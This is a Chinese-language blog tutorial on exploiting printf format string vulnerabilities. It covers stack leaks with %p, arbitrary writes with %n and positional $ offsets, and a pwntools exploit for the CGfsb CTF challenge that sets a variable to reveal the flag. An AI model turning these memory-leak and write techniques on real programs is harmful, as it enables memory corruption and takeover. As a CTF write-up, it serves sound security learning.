<>详解格式化字符串漏洞利用

​ 最近看了很多格式化字符串漏洞利用的文章,发现写得都差那么点意思,所以决定自己写一篇,结合实例,好好地把这个知识点捋一捋。

<>1、漏洞产生原理

​ 对于一般的函数而言,应该按照cdecl (C Declaration)
函数调用规定把函数的参数从右到左依次压栈,**但是printf并不是一般的函数,它是C语言中少有的支持可变参数的库函数,所以,在被调用之前,被调用者无法知道函数调用之前有多少个参数被压入栈中。所以printf函数要求传入一个format参数以指定参数的数量和类型,然后printf函数就会严格的按照format参数所规定的格式逐个从栈中取出并输出参数。**那么,可供选择的输出格式有哪些呢?

*
%d 以十进制整数的格式输出

*
%s 以字符串的的格式输出

*
%x 以十六进制数的格式输出

*
%c 以字符的格式输出

*
%p 以指针的格式输出

*
%n 到目前为止所输出的字符数(把一个int值写到指定的地址去)

让我们看一眼示例代码:
#include <stdio.h> int main() { printf("%s %d %d %d %d","num",1,2,3,4); return
0; }
如果正常运行上述程序的话,汇编代码主体是这样的:
0x000011ad <+20>: add eax,0x2e53 0x000011b2 <+25>: sub esp,0x8 0x000011b5
<+28>: push 0x4 0x000011b7 <+30>: push 0x3 0x000011b9 <+32>: push 0x2
0x000011bb <+34>: push 0x1 0x000011bd <+36>: lea edx,[eax-0x1ff8] 0x000011c3
<+42>: push edx 0x000011c4 <+43>: lea edx,[eax-0x1ff4] 0x000011ca <+49>: push
edx 0x000011cb <+50>: mov ebx,eax 0x000011cd <+52>: call 0x1030 <printf@plt>
此时栈里的内容
00:0000│ esp 0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x' 01:0004│
0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */ 02:0008│ 0xffffd198 ◂— 0x1
03:000c│ 0xffffd19c ◂— 0x2 04:0010│ 0xffffd1a0 ◂— 0x3 05:0014│ 0xffffd1a4 ◂—
0x4 06:0018│ 0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd452 ◂— 'SHELL=/bin/bash'
07:001c│ 0xffffd1ac —▸ 0x565561ad (main+20) ◂— add eax, 0x2e53
此时,一个大胆的想法浮现到了脑海中:如果我给出的format参数的个数大于待输出的参数数量会发生什么事情呢?

示例代码:
#include <stdio.h> int main() { printf("%s %d %d %d %d %x %x","num",1,2,3,4);
return 0; }
汇编代码主体:
0x000011ad <+20>: add eax,0x2e53 0x000011b2 <+25>: sub esp,0x8 0x000011b5
<+28>: push 0x4 0x000011b7 <+30>: push 0x3 0x000011b9 <+32>: push 0x2
0x000011bb <+34>: push 0x1 0x000011bd <+36>: lea edx,[eax-0x1ff8] 0x000011c3
<+42>: push edx 0x000011c4 <+43>: lea edx,[eax-0x1ff4] 0x000011ca <+49>: push
edx 0x000011cb <+50>: mov ebx,eax 0x000011cd <+52>: call 0x1030 <printf@plt>
栈:
00:0000│ esp 0xffffd190 —▸ 0x5655700c ◂— '%d %d %d %d %s %x %x' 01:0004│
0xffffd194 —▸ 0x56557008 ◂— 0x6d756e /* 'num' */ 02:0008│ 0xffffd198 ◂— 0x1
03:000c│ 0xffffd19c ◂— 0x2 04:0010│ 0xffffd1a0 ◂— 0x3 05:0014│ 0xffffd1a4 ◂—
0x4 06:0018│ 0xffffd1a8 —▸ 0xffffd27c —▸ 0xffffd44e ◂— 'SHELL=/bin/bash'
07:001c│ 0xffffd1ac —▸ 0x565561ad (main+20) ◂— add eax, 0x2e53
运行结果:
1 2 3 33 test 1a1390 4013e8 -------------------------------- Process exited
after 0.01398 seconds with return value 0
虽然我们给了7个格式化输出的参数,但是实际压入栈中的参数只有5个,所以,printf会输出两个本不应该输出的地址内容,借助这个漏洞,我们就泄露出了栈中的数据。

<>2、漏洞利用

<>1).泄露任意地址内容

我们借助攻防世界一道题(CGfsb)来理解这个知识点

下面是使用IDA得到的伪代码主体
01| puts("please tell me your name:"); 02| read(0, &v5, 0xAu); 03| puts("leave
your message please:"); 04| fgets((char *)&v8, 100, stdin); 05| printf("hello
%s", &v5); 06| puts("your message is:"); 07| printf((const char *)&v8); 08| if (
pwnme== 8 ) 09| { 10| puts("you pwned me, here is your flag:\n"); 11| system(
"cat flag"); 12| } 13| else 14| { 15| puts("Thank you!"); 16| }
看到第7行,printf输出了在前面输入的v8变量,但是并没有给出任何格式化参数,所以我们可以通过构造v8的值来让printf误以为程序给出了格式化参数
,从而乖乖的按照我们的意思输出我们所需的值。

运行效果:
Starting program: /root/pwn resources/gongfang/CGfsb_print_f please tell me
your name: aaaa leave your message please: AAAA %p %p %p %p %p %p %p %p %p %p
%p %p %p %p %p %p %p %p %p hello aaaa your message is: AAAA0xffffd13e
0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001 0xa6161 (nil)
0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025 0x20207025
0x20207025 0x20207025 0x20207025 Thank you! [Inferior 1 (process 622877) exited
normally]
显然,程序泄露出了我们想要知道的printf函数的栈帧中输出字符串后19个内存单元的值,理论上来说,我们可以使用这个漏洞来进行任意读栈中的值
(没错又是这种为所欲为的快乐)

<>2).修改任意地址值

也许有人看到这个标题可能会觉得很疑惑,为什么printf还能进行写入操作?

任意地址写就要用到上面说的%n了,示例如下:
int main(void) { int c = 0; printf("the usage of %n", &c); printf("c = %d\n", c
); return 0; }
这个程序的输出值会是"c = 13"

就是说**%n参数把他前面输出的字符数赋值给了变量c**

那么,我们只要更改c所对应栈中的地址不就可以把我们想要的数值赋给对应地址了吗?

也许到这一步你有点不能理解,没关系,我们来看栈的结构

printf函数栈顶
格式化输出参数(%d %x %s %n)
待输出参数1(%d格式)
待输出参数2(%x格式)
待输出参数3(%s格式)
待赋值参数4(地址)
printf函数栈底
先前调用的函数栈顶**



就是说,我们把先前输出字符的总长度赋值给了参数4所对应的地址,也就是说,我们只要控制前面输出的长度就可以控制该参数所对应地址的值了。

但是,问题又来了,我们怎么控制参数4的值呢?

这就需要用到printf的另外一个特性:$操作符。这个操作符可以输出指定位置的参数。

就是说,
假如格式化输出参数是“%6$n”的话,就把之前输出的长度赋值给printf函数的第6个参数,但是printf函数根本不知道自己的栈有多大,所以我们只需要把这个偏移数值定位到我们能够修改的内存空间,比如说题目中的v8变量所在地址就可以了
~

那么题目中的偏移量是多少呢?

我们看前面构造的偷看任意位置内存空间的输入运行结果:
AAAA 0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001
0xa6161 (nil) 0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025
0x20207025 0x20207025 0x20207025 0x20207025

看到‘0x41414141‘,就是我们输入的AAAA,也就是说,我们能控制的内存空间相对位置在printf函数的第10个参数位置(其实printf函数根本没有这么多个参数,只不过他自己并不知道)(10是怎么来的?从AAAA到0x41414141还有九个输出值,所以v8在相对第十个参数位置)

所以我们就可以构造我们的exp了!!!
from pwn import * r = process("./CGfsb") pwnme_addr = 0x0804A068
#pwnme地址在伪代码中双击查看 payload = p32(pwnme_addr) + 'aaaa' + '%10$n'
#pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作用,使得 r.recvuntil("please
tell me your name:\n") r.sendline('aaaa') r.recvuntil("leave your message
please:\n") r.sendline(payload) r.interactive()

这篇文章查资料以及码字一共花了两天,期间问了相当多大佬,但始终没能得到自己想要的答案,最后还是靠着自己对汇编的理解以及函数的特性码出了这篇文章。果然,一入pwn门深似海,从此头发是路人。如果对看完文章的你有帮助,不妨点一波赞支持支持头皮发凉的我呗
【手动滑稽】

技术
©2019-2020 Toolsou All rights reserved,
vue项目中使用本地静态JS数据文件利用克鲁斯卡尔算法求最小生成树C++ 移动构造函数和拷贝构造函数华为鸿蒙 HarmonyOS 2 正式发布VS添加动态链接库的两种方法python_樱花树Jmeter配置元件之HTTP授权管理器与 HTTP缓存管理器-19vue+element-ui里面table组件多选框实现批量操作RISC-V指令集架构特点及其总结js实现上下文菜单